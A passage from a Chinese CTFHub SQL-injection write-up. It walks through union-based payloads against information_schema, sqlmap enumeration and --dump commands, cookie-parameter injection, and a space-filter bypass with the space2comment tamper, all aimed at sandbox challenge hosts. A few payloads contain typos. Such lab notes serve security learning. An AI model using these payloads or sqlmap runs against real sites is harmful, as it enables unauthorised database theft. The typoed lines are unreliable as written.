CTFHUB-Web
附属:
/*我找到的这俩文章,我感觉写的挺好的,推出来,便于自己要看CTFHub | Cookie注入,UA注入,Refer注入,过滤空格(利用hackbar插件)_buuctf 上hackbar referer是什么意思-CSDN博客CTFHub~SQL注入超简单详细教程_ctfhub sql注入-CSDN博客*/
一.整数型注入(手动注入)
1.确定是否有注入点
输入:1 and 1=1 ---正常显示 1 and 1=2 ---异常显示或无结果显示
作用:
-
1 and 1=1:这是一个永真条件,如果页面正常显示,说明SQL语句被执行
-
1 and 1=2:这是一个永假条件,如果页面显示异常或没有结果,说明我们的条件被成功注入到SQL查询中
-
这两个测试的结果差异表明存在SQL注入漏洞
2.确定字段数
依次运行:
1 order by 1 1 order by 2 1 order by 3 ---逐步增加数字,直到报错 .....
-
order by子句用于按指定列排序结果
-
逐步增加数字,当数字超过实际列数时会报错
-
在示例中,order by 3报错而order by 2正常,说明查询结果有2列
-
这是后续UNION注入必须知道的信息,因为UNION查询要求前后列数相同
这边运行到 1 order by 3就报错了,说明有两个列
3.构造注入函数
运行代码:
1 select union 1,2
显示了第一列属性ID,第二列属性Data,说明都可以进行注入
4.联合查询获取数据
代码:
-1 union select 1,database()
作用:
-
-1是一个不存在的ID,确保原始查询不返回结果,只显示我们注入的内容
-
database()函数返回当前数据库名称
-
结果显示数据库名为"sqli"
得到数据库名:sqli
接下去获取表名:
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli
作用:
-
查询information_schema.tables系统表获取所有表名
-
table_schema='sqli'限定只查询当前数据库的表
-
group_concat()函数将所有表名合并为一个字符串返回
-
结果显示有"news"和"flag"两个表
得到 news和flag,这边很明显就在flag表里,接下去获取flag表的列名
-1 union select 1,group_concat(column_name) from information_schema.colunms where table_name='flag'
作用:
-
查询information_schema.columns系统表获取flag表的所有列名
-
table_name='flag'限定只查询flag表的列
-
结果会显示flag表的所有列名(假设为"id"和"flag"
最后访问数据库
-1 union select 1,flag from sqli.flag
作用:
-
直接从flag表查询flag列的数据
-
sqli.flag指定数据库和表(也可以直接用flag如果上下文明确)
-
最终获取到flag的具体内容
二.字符串型注入(手动注入)
1.判断注入类型
这边的显示可以看出来是字符型的注入
2.确定字段数
运行到3无返回值,说明为两个列,其实和数字型唯一的差别就是要加单引号和sql的注释符#
3.构造注入函数
返回内容为ID和Data,说明都可以进行注入
4.进行联合查询获取数据
得出数据库名为sqli
获取表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #
获取flag表的属性名(列名)
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
查询flag:
-1' union select 1,group_concat(flag) from sqli.flag #
三.报错注入(使用sqlmap进行)
1.扫描网站
python3 sqlmap.py -u http://challenge-5ff9ae0541e3ee3b.sandbox.ctfhub.com:10800/?id=1 --batch
-
--batch参数使工具自动选择默认选项,无需人工交互
-
确认了三个注入点:
-
基于布尔盲注(RLIKE)
-
基于错误的注入(FLOOR函数)
-
基于时间的盲注(SLEEP函数)
2.枚举数据库
python3 sqlmap.py -u http://challenge-5ff9ae0541e3ee3b.sandbox.ctfhub.com:10800/?id=1 --dbs --batch
-
--dbs参数枚举所有数据库
-
发现4个数据库:
-
information_schema
-
performance_schema
-
mysql
-
sqli (最可能包含目标数据)
3.查找数据库下的表
python3 sqlmap.py -u http://challenge-5ff9ae0541e3ee3b.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch
-
-D sqli指定目标数据库
-
--tables枚举该数据库中的所有表
-
发现2个表:
-
news
-
flag (很可能是目标表)
4.枚举表的属性(列)
python3 sqlmap.py -u http://challenge-5ff9ae0541e3ee3b.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns --batch
-
-T flag指定目标表(T代表table)
-
--columns枚举该表的所有列
-
发现1列:
-
flag (varchar(100))
5.到处可疑列数据
python3 sqlmap.py -u "http://challenge-5ff9ae0541e3ee3b.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump --batch
-
-C flag指定目标列(C代表column)
-
--dump导出该列的所有数据
-
成功获取flag:
ctfhub{f575ffccb1c32fda15447b5b}
6.补充
我这边在第二步和第三步中间还少了一步,因为我们在正常的操作下应该还要知道当前应用使用的数据库可以节省时间,避免盲目枚举所有数据库。这边补充一个查看当前数据库名的命令:
python3 sqlmap.py -u "http://challenge-5ff9ae0541e3ee3b.sandbox.ctfhub.com:10800/?id=1" --current-db --batch
这样也助于我们在进行其他渗透操作。(我这边的sqlmap是通过ctfhub进行下载的,因为kali自带的一直有问题,这边作为其他读者的参考)从这边开始到MYSQL结构,都是和这个一样的用法
4.Cookie(UA,refer)注入
这边建议是先尝试手动注入,时间不够在实验sqlmap进行
1.手动注入
Cookie 注入:攻击者利用 Web 应用对 Cookie 内容处理不当进行注入。若应用程序将 Cookie 值直接用于 SQL 查询且未过滤,如SELECT * FROM users WHERE session_id = '$cookie_value',攻击者可通过修改 Cookie 值进行注入攻击,获取或篡改数据。
因此我们可以通过burpsuite对请求进行拦截,更改请求终端cookie值来进行爆破。
2.sqlmap
与其他的差异:
1.代码差异:
python sqlmap.py -u http://challenge-f4a37c67618d4ef4.sandbox.ctfhub.com:10800/ --cookie "id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli -T vdnbozejyx -C jnxpiymlwh --dump --batch
2.测试类别:
至少调到2(--level 2 )
5.空格过滤
1.正常使用sqlmap进行扫描
└─$ python sqlmap.py -u http://challenge-ad972d3ffebe4b92.sandbox.ctfhub.com:10800/?id=1 --batch
运行完,没扫出来,工作日志给出提示:
提示可以通过tamper来绕过防护,space2comment为过滤空格的脚本。后面就按照正常的sqlmap进行渗透就可以了。
-
-
-
-
-
-
-
-
-
-
-
-
-